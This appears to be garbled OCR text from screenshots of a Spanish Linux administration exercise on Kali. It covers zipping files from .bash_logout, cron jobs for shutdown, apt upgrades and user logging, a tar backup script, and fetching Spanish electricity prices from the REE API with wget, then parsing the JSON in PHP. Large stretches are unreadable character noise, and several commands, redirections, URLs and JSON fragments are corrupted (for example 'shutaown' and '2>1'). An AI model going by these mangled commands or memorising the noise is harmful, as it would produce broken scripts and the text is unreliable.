~ 82?2 0x 8§ W= KOlEwW= Oo MN LW

xf EN W?EWAEAA8§?2O99f " LW? E WX
l]A 7 ? Ea

6aqaqGt aoossstO Yeaqe HUIORYOdoGic¢! Rt qed Rt ql AxEi O6 MOi

rr

élJl Wit Groec 2Rt ¢ UT YIORY O

0o=M=M= 2
OYVI 1 UNRGYVH WG WITW! HRERY W WaWI+¢ aUOWX ¢ WG qldwl |
91 WeGYt WaVYt WoWwe!l HER2 Vi

$ mkdir doc

$ cd doc
S nano a.txt
$ cp a.txt b.txt
S CpllasEXtic o tXE

: SAS
dEXE b.txt felExt

$

9YUGGI ROROYH a

: $ zip -r com.zip *
adding: a.txt (deflated 27%)
adding: b.txt (deflated 27%)
adding: c.txt (deflated 27%)

a.txt b.txt c.txt



https://www.youtube.com/playlist?list=PLSWUh43W7_OPAimBG4U_s8ZF5Lfd9WRrF

S 1s

total 16

-rw-rw-r-- 1 alfonso alfonso 63 feb 23 152 a.txt
-rw-rw-r-- 1 alfonso alfonso 63 feb 23 2530 B ExXE
-rw-rw-r-- 1 alfonso alfonso 574 feb 23 $55
-rw-rw-r-- 1 alfonso alfonso 63 feb 23 s 53 c Xt

Acl ¢lWNec¢l T el WaqYT YWIO WARGWH2 ¢ UT YW6e¢HWDAGYY WaYNYeqe

—o0Eb =M= 2
OVI 1 UNRGVE WGV WITWI HRERY IOWE Y211 WeW2Wl rrrrrrrr

$ rm com.zip
- $ 1s
a.txt b.txt c.txt
~ el el
:~$ s
.pdfbox.cache

.angular-config. json .profile
.bash_history .gitconfig

.bash_logout .python_history
.bashrc

.selected editor

.httrack.ini

.sudo_as_admin_successful

.lesshst

FOACt 6 xGYNYe qOWEY WG Whe JW WWITWHz qc¢ WrHa ¢ 0T YWHIII | ¢



GNU nano 7.2 .bash_logout *

if [ "$SHLVL" = 1 ]; then
[ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q

fi

zip -r /home/alfonso/com.zip /home/alfonso/Documentos/doc/*

NbEt WIT YUT DW2¢aVYt WewWnecllelay
Zbx YWhe WWhe 31 3G Y4+ W6 ¢ HIII KO

:$ sh .bash logout
adding: home/alfonso/Documentos/doc/a.txt (deflated 27%)
adding: home/alfonso/Documentos/doc/b.txt (deflated 27%)
adding: home/alfonso/Documentos/doc/c.txt (deflated 27%)
:-$ s
i

GwéececHII WJIGW 6wt DWITWHz qc¢ 1O

ERW! YW6e¢NYWI+RatOW W[ O 9f § AWGCY! e JWOYWHRIII | VL

MW+ RQWHRIII | ¢ WG Wl 6 RUCGIOWANI YWOVYWHRIII | ¢ W ¢ Wt I
3t #1 RVY! RYIWEY G YWHII | ¢ ¢ WRGWGI YNI ¢Gc¢s

MWGYNYeqAWmWl WHYYqe WERWe JWna UHRYUC!| Ré B

:-$ sh .bash logout
:~$ |

ERGGHENUGNWUqUWEOWEeHII W 6WIOHEY 6 xdYNYeqllge G HRIJU WY |

Vi W TCWaRAI DW=ZAPWSY! ¢t WG ¢WeHEHE! WA VYt WITIII HE



—BEb=M=2

OYaWUqe We UWGYHY WT DWHYE ¢t WECAHY! ¢ 013t OWXx 2 INY WHY G 1L
GeUT ctoWx ¢t W Wt Ya2WaVYt WIGW=SoMZ0=MZ3

ENI 2RHRY Wt WEaNY Whe WWIt qClUé Wi e Wt #He#6 e W WWEqRH
ENI 2RT VI Ws WAaWERI 2 1JLWa ¢ Ws WA
EWNI2RT VI W WWHY!I | WYall WicWdt G ¢ W JWIU2Re! ol WHRI
x Vi W Wl 2RAERYY Wt YOWE GaRHCHRY It W

—bhMNo=Mz=2

CCHOcOYt W PWWuecdRxRUe#*10

ECWGE WHE! GUqe WoWaqHWIE qé¢ | CWaWwl RI WHqY!I RYW 27 Y131
tue RlWet ¢ G Yt Wt el YwlOWo WHY I | WNRAYY Wact WGI INeaUqct

Ndzll GéeNeél WaWwdhe RGYWe We Ue WY ¢ Wl WaqWl 6RUET ¢ WGV L
Gl e JA¢t WRYOWYq!l ¢t W6 YI ¢t

a root@kali: /home/alfonso

sudo] contrasena para alfonso:
/home/alfonso
shutdown
usr/sbin/shutdown

/home/alfonso

or Thu 2026-02-26 18:51:12 CET, use 'shutdown -c’ to cancel.

/home/alfonso
tdown -¢

/home/alfonso




j + root@kali: /home/alfonso (o} :

GNU nano 8.6 /tmp/crontab.PhzdB8/crontab *

35 21 * *x % /usr/sbin/shutaown now
Ayuda ¥ Guardar § Buscar [} Cortar Ejecutar W8 Ubicacion
B Salir i Leer fich.gl| Reemplazargll Pegar B Justificarg Ir a linea
dzll Agec¢c G RA¢! WUIOW Rt qUGe Wl DWnY!l dcWeceqYaCqRHCE Wa
¢

NectdaWUqUWGI YAc¢!I wWwrRYUWYql ¢t W6 YI ¢t

20 1l

aquetes sugeridos:

clang-21-doc libnvcuvidl linux-doc-6.18

wasi-libc libnvidia-encodel 1lvm-21-doc

libcudal debian-kernel-handbook python3-terminaltables3-doc

o actualizando:

colord libegl-mesa0 libglx-mesa0 python3-pygraphviz
graphviz 1libgbm1 mesa-libgallium python3-tables-1ib
libcolorhug2 1libgli-mesa-dri nodejs

esumen:
Actualizando: 1707, Instalando 52, Eliminando: @, no actualizando: 11
Tamano de la descarga: 3.126 MB

Espacio necesario: 1.578 MB / 214 GB disponible

Continuar? [S/n] n
nulado.

/home/alfonso

W6 e¢HUI We Gaqlle GNI ¢ T IJWGWIWE ¢ #IJWG ¢ WG 3Ne Uqgc¢ OWE Uq VY (
MUWE Ga llg Gl ¢ TR Y W6 ¢ #IW RUWGHI INaUqgecel b 1O
/home/alfonso

ich apt
/usr/bin/apt

/home/alfonso
update iIsr/bin/apt upgrade -y /root/cronlog.txtl




XYWaWqUuaYt WYl YWwRrYGYWe WS URAYWHRYGe UT YWRY OWIIG WEX
GdN2YWe WaelWge Ao ¢ WHI YUT YNIO

Ne G HRUIOWI T RI WHARYUOY WG W 1 YI Weihue JWIIH W=s W Whe JL

/home/alfonso

ich apt
/usr/bin/apt

/home/alfonso
update usr/bin/apt upgrade -y /root/cronlog.txt 1'&}

EOqYUHRIIIE W6 e HIIA VT
M WHEPIY O W

O

mh d
54 18 *

* % /usr/sbin/shutdown now
35 18 * * 1 (/usr/bin/apt update &5 /usr/bin/apt upgrade -y) >> /root/cronlog.txt 2>1

OdzlI9 YGR¢ WIT Wt WNel RT ¢T WaYt W2R1IJI Ut WE WG ¢t W=Na NP 1Ol
fURI DGWUqecdallEYOYWEWWENI INeWedWAE A 2 GWaVYT YWe el
Néd RJUWWe UWe ql RA2 qY Whe JWGWI GRqUIWE ¢ HIII Wict WRYGRE
hue DWHIT e a Yt WaewyYl T y0WHI JeWe UWZHE I YW WWGR2 Y q 1J W
3H6 11 YWeTl RARY UG O Whe JWOYH W RAVLWG Y Whe I8 dilHMeaadl T ¢ (
HYGR¢ W W INel RT¢T b 1O

t RAWAz ¢ UT YW2ea DG 2W0We WS e HIII WIGWOge!l WIUWaenel Wi Il
GR2YqUW! W RNz JWaY Whe JWT RN¢ 1O



cd Documentos

~/Documentos |

hola.txt

)-[~/Documentos ]

)-[~/Documentos ]

)=~

1ano copias.sh

oWt HI RARG Yt We Ut HI RGqWGe!l ¢cWeceqYaecqRACI GYa

GNU nano 8.6

#!/bin/bash

DESTINO="/home/alfonso/copias”
SNAPSHOT="$DESTINO/backup.snar”
ORIGEN="/home/alfonso/Documentos"”
FECHA=5(date +%Y-%m-%d)

-cvpzf "$DESTINO/ci_$FECHA.tar.gz" "$SNAPSHOT SORIGEN"

9l YYWea Uc Wt WI RIWT WW2e¢el REHUGWt all? EENT 8 ALWE AEc 8§ N§

E AEc §NWIJt WG W3HSII YWhe JW2¢ We WGdaW2¢! WicecWHYGRE L
hue JWHYGR¢ | WY WUYHO

§Af ] E WIJt WGY Whe JWhe J1 JaYH WHYGRE |

[ E9c HOWOYaYWIGWaWUqYyw RnJI WUHRRET YI 1O
Yl ¢cWauwl Y! WGWI R Y W ywWITUHR2HRZUa
MWHG G YT We+ WHYGRCE Ot 6



= ~

o copias.sh
)=[~]

copias.sh

)= [~

! +X copias.sh

)-[~]

alfonso alfonso 107
alfonso alfonso :22 copias.sh
alfonso alfonso 132
alfonso alfonso 107
alfonso alfonso 132
alfonso alfonso 32
alfonso alfonso 132
alfonso alfonso 132
alfonso alfonso 232
alfonso alfonso $32

)=[~]

Acl ¢cWITWHz2qc¢l G Ya
MU 6 WURYGRCEH IO 6

1 copias.sh
: /home/alfonso/Documentos: El directorio es nuevo
Eliminando la “/' inicial de los nombres
/home/alfonso/Documentos/
/home/alfonso/Documentos/hola.txt

(
[:— cd copias

[:—( )-[~/copias]
ls

backﬁb.snar @

[T% )-[~/copias]

7¢Ht 2 GOt Uc | Wt WIS WS HGE I YWhe JWHEd W2 ¢ WIdWRYUql Yawl



(
[T.Cu copias

L—( )-[~/copias]
ls
backup.snar
[j« )-[~/copias]
m -rf
zsh: sure you want to delete all 2 files in /home/alfonso/copias [yn]? y

)-[~/copias]

[~/copias]

copias.sh

(
[:— ls copias

& Archivo, Maquina, Ver. Entrada. Dispositivos.

|~/copias |

[j4 )~ | ~/copias ]
Ls

backup.snar logcopias.log

[T% )-[~/copias]
cat logcopias.log
/home/alfonso/Documentos/
/home/alfonso/Documentos/hola. txt

[:—(I )-[~/copias]

Mdzl] 2¢ |1 T ¢l Wa¢ WIRt qé WT Wiet 2¢ 1 RYY WaYNWeT Yt We Uce W2 |
T WWaq U+ qVY W W G eIl ¢YHOHMGINT 1Y dIEB EM Y1 G ¢ Whe W JWGe 13T
cwayTl vyuwayvyn

9¢T ¢cWHRIUI q¢ WE YI BBV Whe ROWROD 6 @ CUIO WG WiIhe RGY WG
cUWMmgYGUWe WHRII q¢ W6 Y1 ¢ W W21l Whe 3wt Wt qCWITUHE q¢
T JWRUNY!lI a¢rHRZUO



( )-[~/copias]
Ly cat logcopias.log
/home/alfonso/Documentos/
/home/alfonso/Documentos/hola.txt

[~/copias]

)-[~/Documentos ]

)-[~/Documentos ]
holanuevo. txt

[~/Documentos ]|
installing new crontab

)-[~/Documentos]

seato 2026-02-26 18:57
tty2 2026-02-26 18:57

[~/Documentos ]|

~

copias/quienes.log

( V[~
[4— cd copias

[:—( )-|~/copias]
\

backup.snar logcopias.log quienes.log

)-[~/copias]
at quienes.log
seato 2026-02-26 18:57
tty2 2026-02-26 18:57

[~/copias]




)-[~/copias |
cat quienes.log
seato 2026-02-26
tty2 2026-02-26

)~ | ~/copias]

s oo

alfonso 2026-02-26
alfonso 2026-02-26

(
[——— who
2026-02-26

alfonso 2026-02-26
alfonso 2026-02-26




[T-yg& su

[sudo] contrasena para alfonso:
/home/alfonso

cad ~

pwd

/root

mkdir cron

~/cron
nano monitorUsuarios.sh

~/cron
ES
: no se encontro la orden

~/cron
ls
monitorUsuarios.sh

GNU nano 8.6

#!/bin/bash
FICHERO="/root/monitorUsuarios.log”
FECHA=%(date +%Y-%m-%d )

HORA=5(date +%H:%M)

USUARIOS=5%(who)

$FECHA $HORAR
"$USUARIOS"




6YIl ¢ Wt qyWayws2y! Wwew Wi RI RNDRI

~/cron

../monitorUsuarios.log

~/cron

~
LS

monitorUsuarios.log

~

cat monitorUsuarios.log
2026-02-26 20:42
pts/1 2026-02-26 20:29
alfonso seato 2026-02-26 18:57
alfonso tty2 2026-02-26 18:57

cenNYWmHDIYUqe AL

tm | n - de i

b4 18 *

aom mor 10V 0
* * /usr/sbin/shutdown now

D1

6 * * * * /bin/bash /root/cron/monitorUsuarios.sh >> /root/monitorUsuarios.log 2>1




root pts/1 2026-02-26 20:29
alfonso seat@ 2026-02-26 18:57
alfonso tty2 2026-02-26 18:57

~/cron
../monitorUsuarios.log

~/cron

monitorUsuarios.log

1t monitorUsuarios.log
====== 2026-02-26 20:42 =
root pts/1 202 26 20:29
alfonso seato 2026-02-26 18:57
alfonso tty2 2026-02-26 18:57

rontab -e

crontab: installing new crontab

monitorUsuarios.log

monitorUsuarios.log
2026-02-26 20:4
pts/1 26 20:29
alfonso seato 2026-02-26 18:57
alfonso tty2 2026-02-26 18:57

1t monitorUsuarios.log
====== 2026-02-26 20:4
root pts/1 2026-02-26 20:29
alfonso seato 18:57
18:57

2026-02-26 20:29

alfonso seato 2026-02-26 18:57

alfons? tty2 2026-02-26 18:57
o

& Archivo, Maguina, Ver. Entrada_ Dispositivos. Ayuda.  kali (Reciente Instalado) = &I §23

oWt qUWIHGE W YW WWaYURqVY!I Ot e¢ |l RYt OO YNDWRI CWHI WHR

= 2026-02-26 20:42 ======
pts/1 2026-02-26
alfonso seat0 2026-02-26
alfonso tty2 2026-02-26
====== 2026-02-26 20:46 =
root pts/1 2026-02-26
alfonso seato 2026-02-26

alfonso tty2 2026-02-26

PdzWWEY qU Wt We UWGH ¢ UWRU2 13t qRN¢ ARZ UIOOOW Wl ¢ q¢ W |
SHOUI YWTH YOAWRYUOWG Y WGI WARYH WT WG ¢ Wi e Alle WAé A9 W
Jt qYWIWRU2 1t qRNe | W YA 3wt ywtt YU

Et qUUWgqRGYWT DWRUNYW2RUUWWIUWA ~x wWwywyUlWs E§ 1O

SE§ WUt WivYWaCt W6cHRqqzac



st YOWWE W W1 REGRAGT WednNYWIt WHYU211 qRI Waét WGl YGRI
t Wl wseacUYtO

9 { ¢l YOR 6 1J HOWA Gl WoGRLIDEMTcogl RE2 G ¢ AWe YYt AWt a8
O Wet RIWGaYH TVMBRIGY dUHM HS Da lWU§ ATUqVYWecel RAWYHT W qVY WHG 5

EYOWUIt ql efAgqel ¢t W YW ¢qVYt Whe JWt DWGe 3T WO0Wgl ¢t GY Qe
Dt ql eHaqel ¢ Yt WGE! ¢ Whe JWe U¢c WGWI + YUWEaYWGe IT ¢ WU

GWqWU Wa Yt Wi ¢qVt WeUe WIt ql eragel ¢ Wi YNRHAC WHe ¢ hue
BOqUOT 1 W WweYT U1 WacUWTEl aYtoTenNe! WHYOWWGE VY 1O

x YWt ¢A¢caYt WedWHe ARRA WIIWMEG ¥/ @0 RE dlm
6 qaqGt aoosss Ol It oldJt ol ¢qYt o¢ GRIT ¢ q VYt

»s/apidato:

ools = Kali Docs & Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

red eléctrica Conécenos v Operacién v Transporte v ibi v Transicié bgica v Datos v Clientes v ES | El
lang Defines the response language
category Defines the general category.
widget Defines the particular widget to be retrieved.
query Set of parameters used to filter the requested data
Headers
Accept: application/json;
Content-Type: application/json Copy
Host: apidatos.ree.es
URI definition
Lang Category Widget

es v mercados v precios-mercados-tiempo-real 4 Copy

Query definition

Query parameters are described below:

PARAMETER DESCRIPTION

Defines the starting date in ISO 86017 format
start_date

YYYY-MM-DDTHH :MM

Defines the ending date in 1SO 8601 & format:
YYYY-MM-DDTHH : MM

end_date

X YWAYGRYW! WqUnNnYW! ¢WeU¢WGE! quUWI WWie¢e WGUWaqRARZUIO
AYl e JWqRUNY Whe JWageée G ARIOWE YeT RI WeUYt wWGel Callal Yi


https://www.ree.es/es/datos/apidatos

26 defeb 20:59
B | @ API|Red Eléctrica apidatos.ree.es/es/datos/ X | An Error Occurred: Internal S X = +
<« > C @ @ - https:/fapidatos.ree.es/es/datos/mercados/precios-mercados-tiempo-real?start_date=2019-01-01T00:00&end_date=2019-01-31T23:59&time_trunc=day

Sz LN { CEEs @ hitps:/fapidatos.ree.es/es/datos/mercados/precios-mercados-tiempo-real?start_date=2019-01-01T00:00&end_date=2019-01-31T23:59&time_trunc=day — Visit

26defeb 20:59

B | @ API|RedEléctrica apidatos.ree.es/es/datos/ X | An Error Occurred: Internal S X +
=

- C @ @ - https://apidatos.ree.esfes/datos/mercados/precios-mercados-tiempo-real 'start_date=2019-01-01T00:00&end_date=2019-01-31T23:59&time_trunc=day

OffSec (G {7 S @ nhttps://apidatos.ree es/es/datos/mercados/precios-mercados-tiempo-real?start_date=2019-01-01T00:00&end_date=2019-01-31T23:59&time_trunc=day — Visit

@ API | Red Eléctrica apidatos.ree.es/es/datos/ X apidatos.ree.esfes/datos/ % +

> C @ QO 8 apidat
wi>ec Kali Linux & KaliTools < Kali Docs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB
JSON




6qaqGt aooc¢ GRI ¢ aqVYt Ol 1J1IgOI0wI 6 diled aye iVaix 1D &

MNNMMa MMCIUTNE ¢ qld1 =MNY
ON K -

ROWXxaql 2URI GYUqs6 CNIIY X ql

& aqWil EaviNIY 1

e U#l

13013 H q

/apidatos.ree.es ercados/precios-mercados-tiempo-real start_date=2026-02-26T00:005end_date 26T23:595time_t

&

https://apidatos.ree

s (apidato!
Conectando con apidatos.ree. luidaluﬁ. e.e 45.60., 41]:443. conectado.
Peticién HTTP enviada, esperando respuesta...

_date=2026-02-26T23:596time_trunc=hour»

595time_trunc=hour» guar:

‘'precios-mercados-tiempo-real?start_date=2026-02-26T00:006end_date=2026-02-26T23:596time_trunc=hour’

precios-mercados-tiempo-real\?start_date=2026-02-26T00:00\6end_date=2026-02-26T23:59\&time_trunc=hour

Resolviendo apld.!lm re (apidatos.ree.e: 60,65,
apidatos.ree.es (apidatos.ree 60.65.41]:4 conectado.
Peticién HTTP envia esperando respuesta...
gitud: ficado [application/j
Grabando ot/luz. json»

/root/luz.json

2026-02-26 21:05:38 (5,33 MB/s) - «/root/luz.json» guardado [9769]

precios-mercados-tiempo-real\?start_date=2026-02-26T00:00\tend_date=2026-02-26T23:59\6time_trunc=hour

runc=hour

dado [9769]

T2 trun
T23:598time_trunc=hour

al?start date=2026-02-26T00:006end _date=2026-0:

es/d:
https: //apmams ree. es/os/dams/morcados/pro(ms mercados-tiempo-real?start_date=2026-02-26T00:005end_date=2026-02-26T23

Resolviendo apidatos.ree.es (apidatos.ree.es)... 45.60.65.41

Conectando con apidatos.ree.es (apidatos.ree.es)[45.60.65.41]:443... conectado.
Peticion HTTP enviada, esperando respuesta... 200 0K

Longitud: no especificado [application/json]

Grabando a: «/root/luz.json»

/root/luz.json [ <=>

2026-02-26 21:05:38 (5,33 MB/s) - «/root/luz.json» guardado [9769]

luz.json 'precios-mercados-tiempo-real?start_date=2026-02-26T00:005end_date=2026-02-26T723:596time_trunc=hour’

precios-mercados-tiempo-real\?start_date=2026-02-26T00:00\6end_date=2026-02-26T23:59\6time_trunc=hour

Et qUWHYGCUT YWne URRYUc W6 V! WG YwivVwWne URRY U¢

~/copias
/root/luz.json: Permiso denegado

~/copias

4-- https://apidatos. ree.es/es/datos/mercados/precios-nercados-tionpo-real 7start_date=2026-02-26T00:005end_date=2026-02-26T2
Resolviendo apidatos.ree.es (apidatos.ree.es)... 45.60.65.41

Conectando con apidatos.ree.es (apidatos.ree.es)[45.60.65.41]:443... conectado.

Peticion HTTP enviada, esperando respuesta... 200 OK

Longitud: no especificado [application/json]

Grabando a: «/home/alfonso/copias/luz.json»

/home/al fonso/copias/luz. json [

2026-02-26 21:07:34 (1,01 MB/s) - «/home/alfonso/copias/luz.json» guardado [9769]

~/copias

backup.snar logcopias luz quienes.log

~/copias

t RWhe JWOYt WHYGRE G Y WIaWHEYGe U1

1d_date=2026-¢
95time_trunc=hour

Y

95time_trunc=hour

.-KB/s

en 0,009s

CWwuUF


https://apidatos.ree.es/en/datos/demanda/ire-general?start_date=2018-01-01T00:00&end_date=2018-12-31T23:59&time_trunc=month&geo_trunc=electric_system&geo_limit=peninsular&geo_ids=8741
https://apidatos.ree.es/en/datos/demanda/ire-general?start_date=2018-01-01T00:00&end_date=2018-12-31T23:59&time_trunc=month&geo_trunc=electric_system&geo_limit=peninsular&geo_ids=8741
https://apidatos.ree.es/en/datos/demanda/ire-general?start_date=2018-01-01T00:00&end_date=2018-12-31T23:59&time_trunc=month&geo_trunc=electric_system&geo_limit=peninsular&geo_ids=8741
https://apidatos.ree.es/en/datos/demanda/ire-general?start_date=2018-01-01T00:00&end_date=2018-12-31T23:59&time_trunc=month&geo_trunc=electric_system&geo_limit=peninsular&geo_ids=8741

alfonso@kali: ~

GNU nano 8.6 pvpc.sh *

(date +%Y-%m-%d

26defeb 21:11

a alfonso@Kali: ~

GNU nano 8.6 pvpc.sh

date +xy-%m-%d

nso/copias/luz.json

--time -- specify time to show

I_—{. ls -1

total 48

-Ir'W-rw-r-- alfonso alfonso 19:52 1
drwxrwxr-x alfonso alfonso 21:07
=YWXTWXT=X alfonso alfonso 19:44 copias.sh
drwxr-=xr-x alfonso alfonso 18:32
drwxr-xr-x alfonso alfonso 19:54
drwxr-xr-x alfonso alfonso 18:32
drwxr-xr-x alfonso alfonso 18:32
drwxr-xr-x alfonso alfonso 18:32
drwxr-xr-x alfonso alfonso 18:32
drwxr-xr-x alfonso alfonso 18:32
—TWXIWXI-X alfonso alfonso 21:11 pvpc.sh
drwxr-xr-x alfonso alfonso 18:32

(
[:_'15
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copias/luz. json

copias
backup. snar logcopias.log quienes.log

./pvpc.sh: linea 6: FECHA: orden no encontrada

FECHA: orden no encontrada

:30-- https://apidatos.ree.es/es/datos/mercados/precios-mercados-tiempo-real?start_date=T00:006end_date=T23:59&time_trunc=hour

Resolviendo apidatos.ree.es (apidatos.ree.es)... 45.60.65.
Conectando con apidatos.ree.es (apidatos.ree.es)[45.60.65.41):443... conectado.
Peticién HTTP enviada, esperando respuesta... 200 0K
Longitud: no especificado [application/json]
Grabando a: «/home/alfonso/copias/luz.json»

/home/alfonso/copias/luz.json [ <=> .-KB/s  en 0,005s

2026-02-26 21:13:30 (326 KB/s) - «/home/alfonso/copias/luz.json» guardado [1698]

copias/luz.json
{; ":"Precios mercado peninsular en tiempo real”,"id":"mer13”,“attributes”: ¢ eal”, "last-update”:"
ull}, "meta”:{"cache-control”:{"cache":"MISS"}}}, "included":[{"type":"PVPC","id": "100. PVPC", "description”
null, "magnitude” : false,"last-update” : "2026-02-25T20:46:02.000+01:00",
:"Precio mercado spot”,"id":"600","groupld”:null,"attributes®:{"title":"Precio mercado spot”,*description®:null,
rice","composite”:false,"last-update 2026-02-25T14:21:21.000+01:00", "values":[{ ":96.59, "percentage”:1, "datetime”: "2026-02-26721
*},{"value":80, "percentage”:1, "datetime” : "2026-02-26721:30:00.000+01:00" }, {"value" :65, "percentage”:1, "datet ime” 145:00. 00"}, {"value":49.65, "percentage
:%2026-02-26T22:00:00.000+01:00"},{ “value":37.98, "percentage”:1, "date :*2026-02-26722:15:00.000+01:00" }, { "value”:33.97, "percentage”:1, "datetime” : “2026-02-26722:30:00.000+01:00"
},{"value":27.5, "percentage”:1, "datetime" : "2026-02-26T2 0.000+01:00" }, {"value”:25.3, "percentage”:1, "datetime” : "2026-02-267T23:00:00.000+01:00" } , { "vdtue":24.34, "percentage”:1, "datetime”: "
2026-02-26T23:15:00.000+01:00°}, {"value®:23, "percentage”:1, "datetime" : "2026-02-26T23:30:00.000+01: 00"}, { "value":15, "percentage”:1, "datetime” : "2026-02-26T23:45:00.000+01:00" } 1} }1}

& Archivo_ Méquina_ Ver. Entrada. Dispositivos. Ayuda. kali (Reciente instalado) = B
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ENNeROYH WHYOWIG WITWI HRARY WP Whe YW Y WE He A¢ G Yt a

f + | alfonso @kali: ~ Q

GNU nano 8.6 pvpc.sh

FECHA=3(date +%Y-%m-%d)

-rf /home/alfonso/copias/luz.json

J!eal?start_da:e:” ”TOO:OO&end_date:i “T23:59&6time_trunc=hour”

2026-02-27
https://apidatos.ree.es/es/datos/mercados/precios-mercados-tiempo-real?start_dat
e=2026-02-27T00:005end_date=2026-02-27T723:5956time_trunc=hour

27 defeb 19:31
alfonso@kali: ~

pvpc.sh *

FECHA=$(date +%Y-%m-%d
-rf /home/alfonso/copias/luz.json

wgert "/home/alfonso/copias/luz.jsonf] “"https://apidatos.ree.es/es/datos/mercados/precios-mercados-tiempo-real?start_date="




(
l—_ nano pvpc.sh

(
I—_ 1s copias

backup.snar logcopias.log quienes.log

(
I—_ cd copias

L—( )-[~/copias]
cat logcopias.log
/home/alfonso/Documentos/
/home/alfonso/Documentos/hola.txt
/home/alfonso/Documentos/

Vfeome/alfonso/Documentos/holanuevo. txt

)-[~/copias]

W~EW~ENEWEx W OEésW[f9cEAf N§IO
x We 9 EA md LU9 N a

1,"datetime":"2026-02-27T03:30: =gy "percentage”: 1,"datetime 8 > :00"},{"value":9.37, "percentage"”
3697659, "datetime”: "2026-02-27T0 1 o7 ko :9.24,"percentage”: datetlme 00+01:00"},{"value":10, "percent
imi "2026-02-27T04:30:00.000+01 5 3 percentage 1 "datetime" 2026 02-27T04:45:00.000+01 00"} { alue":11.15, "percentag:
datetime":"2026-02-27T05:00:00. bt :11.28, percentage :"2026-02-27T05: 0.000+01:00"},{"value":11.28, "per
2026-02-27T05:30:00.000+01:00"}, {" value :11.67, percentage e 2 145:00. 0"},{"value":22.31,"percentage":1
-27706:00:00.000+01:00"},{"value 3,"percentage "datetime" 100. > 23,"percentage”:1,"datetime”:"202
+01:00"},{"value":23.3, "percentage":1,"datetime": 2026 02-27T06:45:00. 100" 3 ,"datetime":"2026-02-27T07:00
ue":35,"percentage”:1, "datetime” '2026 02-27T07:15:00.000+01:00"},{"value":35.01, "percentage"'l "datetime 2026-02-27T07:30:00.000+0 ]
rcentage":1,"datetime" 026-02-27T07:45:00.000+01:00"},{"value":35.01, "percenlage 1,"datetime":"2026-02-27T08:00:00.000+01:00"},{"value".ss, pe
datetime":"2026-02-27T08:15:00.000+01:00"},{"value":27.36, "percentage .1,“datetime"' 2026-02-27T08:30:00.000+01:00"},{"value":20, "percentage":1,"
26-02-27T08:45:00.000+01:00"}, {"value":22, "percentage . i -02- 0.000+01:00"},{"value":13, "percentage":1,"datetime":"2026-
0.000+01:00"},{"value":12.4, "percentage" "datetime" :30:00. > :10. percentage”:1,"datetime":"2026-02-27T09:45
},{"value":7.58, "percentage"”:1, "datetime": :00. L : percentage”:1,"datetime":"2026-02-27T10:15:00.000+01:00
percentage”:1,"datetime" 026-02-27T710:30:00. 000+01 N 0,"datetime”:"2026-02-27T710:45:00.000+01
:1,"datetime":"2026-02-27T711:00:00.000+01: 00") {"value”:0, percen(age 0,"datetime" 026-02-27T711:15:00.000+01:00"},{"value":0, percentage
26-02-27T11:30:00.000+01:00"},{"value":-0.01, "percentage”:1, "datetime” "2026-02-27T11:A5-00.000¢01 00"}, {"value -0,"percentage 0 "datetime
:00.000+01:00"},{"value":0, "percentage ,"datetime" "2026-02—27T12:15:00.000+01 00"}, {"value" ime" 2026 02- 27T12
value":-0.01, "percentage”:1, "datetim "2026-02-27T12:45:00.000+01
percentage 1 "datetime":"2026-02-27T13:15:00.000+01:00"},{"value
":1,"datetime”:"2026-02-27T13:45:00.000+0 Y -0.01, "percentage
"2026-02-27T1 0.000+01:00"}, {"value i "datetime":"2026-02-27T14:
:00.000+01:00"},{"value":0, "percentage":0, > -02- :00:00. 100" bl 1 40 atetime”:"2026-02-27T715:15:00.0
value":0.03, "percentage ,"datetime":“2026—02—27T15:30:00.000*01:00"},("value 3 i 2026-02-27T15:45:00.000+01:00" }, {
"percentage”:1,"datetime":"2026-02-27T16:00:00.000+01:00"},{"value":3.78, "percentage "datetime":"2026-02-27T716:15:00.000+01:00"},{"value
atetime":"2026-02-27T716:30:00.000+01:00"},{"value":11.67, "percentage”:1,"datetime":"2026-02-27T716:45:00.000+01:00"},{"value":11.28,
2026-02-27T17:00:00.000+01:00"}, {"value":11.89,"percentage" 1,"datetime":"2026-02-27T17 0.000+01:00"},{"value":19.87, "percentage
2-27T17:30:00.000+01:00"},{"value": 22 1 "percentage":1,"datetime":"2026-02- 27T17'A5 00.000+01:00"},{"value":22.1,"percentage":1,"datetime"
0.000+01:00"},{"value":25," "datetime" 2026 02-27T18:15:00. ,{"value":35, percenlage "datetime":"2026-02-27T1
value":43.48, "percentage"” i 2026 02-27T18:45:00.000+01 51.14,"percentage” "datetime":"2026-02-27T19:00:00.000+0
"percentage :1,"datetime"”:"2026-02-27T19:1 : o 166.1," ,"datetime”: 2026 02-27T1
"datetime":"2026-02-27T19:45:00.000+0
2026 02-27T20:15:00.000+01:00 } {"value :74.11, "percentag:
1,"datetime":"
2026-02-27T721:30:00.000+401:00"}, {“value
:1,"datetime
11, "datetime"”: 2026 02-27T22:
H 2026-02-27T2 : percentage
27723:30:00.000+01 00"},{"va1ue":22.34,"percentage"‘1 "datetime":"2026-02-27T723:45:00.000+01:00"}]1}}1}

m h
00 19 * * * /usr/bln/bash /home/alfonso/copias.sh >> /home/alfonso/copias/logcopias.log 2> 1
‘01 00 * * * /usr/bin/bash /home/alfonso/pvpc.sh > /home/alfonso/copias/logpvcp.log 2> 1
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( )-[~/copias]
[j_ cat logpvcp.log

E<1 : )-[~/copias]

backﬁb.snar logcopias.log 1logpvcp.log 1luz.json quienes.log

)-[~/copias]

1 alfonso alfonso feb 27 19:00 backup.snar
1 alfonso alfonso feb 26 3

1 alfonso alfonso feb 27 2

1 alfonso alfonso feb 27 19:00 logcopias.log
1 alfonso alfonso feb 27 19:38 logpvcp.log

1 alfonso alfonso 9747 feb 27 19:38 luz.json

1 alfonso alfonso 78 feb 26 20:02 quienes.log

)-[~/copias]

MWA! qt Weét RWe JWORUNEZOWII T YI 1O
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EOqVYUHIJE W2 ¢ We W9 ¢l GIIqé tiPAT R ¢l aE! | GQRUDAI RSt WT 131 IJHE VL
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par.php
/home/alfonso/copias/pvpc. json




parphp @

$fichero = "/I

$json = file get conter

$json = json decode($json,

print _r($json);

X YWITWHz q¢ WIUWG e Wagldl aRUCE O a

MWGE GWGE | HOG6 G

OWG W ¢ Wie Wt ql eragel ¢cWAet ¢T ¢wWI0WIGWE! 1 ¢! 1O
~WqUWIaWRUOAG2T T Whe JWE YWS ¢ W ¢ HeT YW WG Y Whe 1JLWE 1L

$fichero = " /h 1L fon: /luz.
$json = file get contents($fichero);
$json = json decode(S$json, )
